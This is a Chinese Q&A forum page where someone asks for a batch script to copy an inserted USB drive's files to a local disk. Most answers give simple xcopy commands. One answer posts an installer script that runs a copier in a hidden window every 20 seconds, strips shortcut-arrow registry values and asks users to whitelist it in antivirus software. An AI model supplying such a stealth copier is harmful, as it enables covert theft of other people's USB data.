求一段批处理代码或详细指导。

希望达到的目的是把已插入电脑的U盘里的所有文件复制到本地磁盘(比如E盘吧)。分数不多,祝福好人。... 希望达到的目的是把已插入电脑的U盘里的所有文件复制到本地磁盘(比如E盘吧)。分数不多,祝福好人。 展开
 我来答
lmy920405
2012-10-29 · TA获得超过1168个赞
知道小有建树答主
回答量:311
采纳率:0%
帮助的人:213万
展开全部
以前收的,自己修改
安装U盘自动复制.cmd
  代码如下:
  @echo off
  mode con: cols=80 lines=40
  color 17
  :start
  cls
  title $$$$*晗*晗*制*造*$$$$
  echo.
  echo.
  echo.
  echo.
  echo ====================================================================
  echo.
  echo.
  echo 安装U盘自动复制
  echo.
  echo 欢迎使用,请选择选项(1,2,3,4,5,6)
  echo.
  echo.
  echo [1] 安装程序
  echo [2] 运行程序
  echo [3] 关闭程序
  echo [4] 卸载程序
  echo [5] 生成快捷方式
  echo [6] 使用帮助
  echo [7] X键关闭
  echo.
  echo.
  echo.
  echo    提示:如果你计算机安装有杀毒软件,请授权此VBS代码!
  echo.
  echo.
  echo.
  echo.
  echo $$$ 晗晗制造,版本1.0 $$$
  echo.
  echo ====================================================================
  echo.
  set /p choice=请输入:
  if {%choice%}=={} goto start
  if /i %choice%==1 goto install
  if /i %choice%==2 goto open
  if /i %choice%==3 goto close
  if /i %choice%==4 goto uninstall
  if /i %choice%==5 goto shutcut
  if /i %choice%==6 goto help
  if /i %choice%==x goto shut
  goto start
  :install
  rem ==============================安装程序=============================
  if exist %temp%\copy.cmd del /Q /f "%temp%\copy.cmd"
  copy copy.cmd "%temp%\copy.cmd" >nul 2>nul
  copy sleep.exe "%temp%\sleep.exe" >nul 2>nul
  rem ==============================隐藏窗口=============================
  if exist %temp%\hide.vbs del /Q %temp%\hide.vbs
  echo.
  echo 如果你计算机安装有杀毒软件,请授权此VBS代码
  reg delete "HKEY_CLASSES_ROOT\lnkfile" /v IsShortcut /f >nul 2>nul
  reg delete "HKEY_CLASSES_ROOT\piffile" /v IsShortcut /f >nul 2>nul
  set path=%temp%\copy.cmd
  echo set ws=WScript.CreateObject("WScript.Shell") >"%temp%\hide.vbs"
  echo ws.Run "%path%",0 >>%temp%\hide.vbs
  rem ==============================建立终止=============================
  echo @echo off >%temp%\kill.cmd
  echo mode con: cols=20 lines=2 >>%temp%\kill.cmd
  echo echo 程序已经成功终止!>>%temp%\kill.cmd
  echo pause ^>nul 2^>nul >>%temp%\kill.cmd
  echo tskill ping ^>nul 2^>nul >>%temp%\kill.cmd
  echo tskill xcopy ^>nul 2^>nul >>%temp%\kill.cmd
  echo tskill sleep ^>nul 2^>nul >>%temp%\kill.cmd
  echo tskill cmd ^>nul 2^>nul >>%temp%\kill.cmd
  echo exit ^>nul 2^>nul >>%temp%\kill.cmd
  rem ==============================建立快捷=============================
  :shutcut
  echo.
  if not exist "%temp%\hide.vbs" goto start
  set path2=%temp%\hide.vbs
  echo [InternetShortcut] >>U盘自动复制.url
  echo URL="%path2%" >>U盘自动复制.url
  echo IconIndex=29 >>U盘自动复制.url
  echo IconFile=C:\windows\system32\shell32.dll >>U盘自动复制.url
  set path3=%temp%\kill.cmd
  echo [InternetShortcut] >>终止U盘自动复制.url
  echo URL="%path3%" >>终止U盘自动复制.url
  echo IconIndex=29 >>终止U盘自动复制.url
  echo IconFile=C:\windows\system32\shell32.dll >>终止U盘自动复制.url
  echo 成功结束!请直接运行快捷方式!
  pause >nul 2>nul
  goto start
  rem ==============================安装结束=============================
  :uninstall
  rem ==============================卸载程序=============================
  echo.
  tskill ping >nul 2>nul
  tskill xcopy >nul 2>nul
  tskill sleep >nul 2>nul
  del /Q /f "%temp%\copy.cmd" >nul 2>nul
  del /Q /f "%temp%\hide.vbs" >nul 2>nul
  del /Q /f "%temp%\copy.tmp" >nul 2>nul
  del /Q /f "%temp%\sleep.exe" >nul 2>nul
  del /Q /f "%temp%\kill.cmd" >nul 2>nul
  del /Q /f U盘自动复制.url >nul 2>nul
  del /Q /f 终止U盘自动复制.url >nul 2>nul
  echo 程序已经成功卸载!
  reg add "HKEY_CLASSES_ROOT\lnkfile" /v IsShortcut /f >nul 2>nul
  reg add "HKEY_CLASSES_ROOT\piffile" /v IsShortcut /f >nul 2>nul
  pause >nul 2>nul
  goto start
  rem ==============================卸载结束=============================
  :open
  rem ==============================运行程序=============================
  echo.
  if not exist %temp%\copy.cmd goto start
  "%temp%\hide.vbs"
  echo 程序已经成功开始自运行(20秒扫描一次)!
  pause >nul 2>nul
  exit
  rem ==============================运行结束=============================
  :close
  rem ==============================终止程序=============================
  echo.
  if not exist %temp%\copy.cmd goto start
  echo 程序已经成功结束自运行!
  pause >nul 2>nul
  tskill ping >nul 2>nul
  tskill xcopy >nul 2>nul
  tskill sleep >nul 2>nul
  tskill cmd >nul 2>nul
  exit
  rem ==============================终止结束=============================
  :help
  rem ==============================使用帮助=============================
  cls
  echo.
  echo.
  echo 本工具适用于Windows XPsp2系统,由此造成的一切损失,本人不负任何责任.
  echo.
  echo.
  echo 使用方法: 1 点击安装程序
  echo.
  echo 2 如果你计算机安装有杀毒软件,请授权此VBS代码
  echo.
  echo 3 第一次安装可能需要先运行,然后结束一次才能生效(视系统设置而定)
  echo.
  echo 4 安装后请用快捷方式启动或者关闭,无需用安装程序启动
  echo.
  echo 5 本程序可以在U盘插入前运行,也可以在插入后运行
  echo.
  echo 6 点击运行程序,程序将自动每20秒执行一次
  echo.
  echo 7 请确保你的c:\有足够的空间,程序运行时候建议不要插移动硬盘
  echo.
  echo 8 请务必确认你要copy的U盘无毒
  echo.
  echo 9 本程序在扫描时比较占内存,建议每次使用后关闭
  echo.
  echo 10 建立的快捷方式,你可以改名并把它放在任何地方,包括启动菜单
  echo.
  echo 11 请及时清理默认保存目录c:\copy文件夹里边的文件
  echo.
  echo 12 本软件不保证copy数据的正确性
  echo.
  echo 13 本软件不要使用于非法用途
  echo.
  echo.
  echo 本软件为免费软件欢迎大家使用
  echo.
  echo 按任意键返回主菜单
  pause >nul 2>nul
  goto start
  rem ==============================帮助结束=============================
  :shut
  rem ==============================关闭程序=============================
  exit
  rem ==============================关闭结束=============================
  
ZESTRON
2024-09-04 广告
表面污染分析包括评估表面上存在的颗粒、残留物或物质。通过利用显微镜、光谱学和色谱法等技术,分析人员可以识别和表征污染物,以确定其成分和来源。这种分析在电子、制药和制造等各个行业中至关重要,以确保产品质量、性能和安全性。了解表面污染有助于实施... 点击进入详情页
本回答由ZESTRON提供
sudoku52
2012-10-29 · TA获得超过7万个赞
知道大有可为答主
回答量:1.2万
采纳率:82%
帮助的人:4869万
展开全部
@echo off
for /f %%i in ('wmic logicaldisk get caption^,description^|findstr 移动') do set u=%%i
xcopy %u%\*.* e:\ /s/y
本回答被网友采纳
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
windblast
2012-10-29 · 知道合伙人软件行家
windblast
知道合伙人软件行家
采纳数:5633 获赞数:13622
毕业于空军第一航空学院电子专业,1991年开始接触电脑,从事多年计算机编程,具有较丰富的经验。

向TA提问 私信TA
展开全部
如果不用检测插入的U盘的话,假设U盘所在盘符为G,只需要一句就可以了:

xcopy G:\*.* E:\ /s
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
收起 更多回答(1)
推荐律师服务: 若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询

为你推荐:

下载百度知道APP,抢鲜体验
使用百度知道APP,立即抢鲜体验。你的手机镜头里或许有别人想知道的答案。
扫描二维码下载
×

类别

我们会通过消息、邮箱等方式尽快将举报结果通知您。

说明

0/200

提交
取消

辅 助

模 式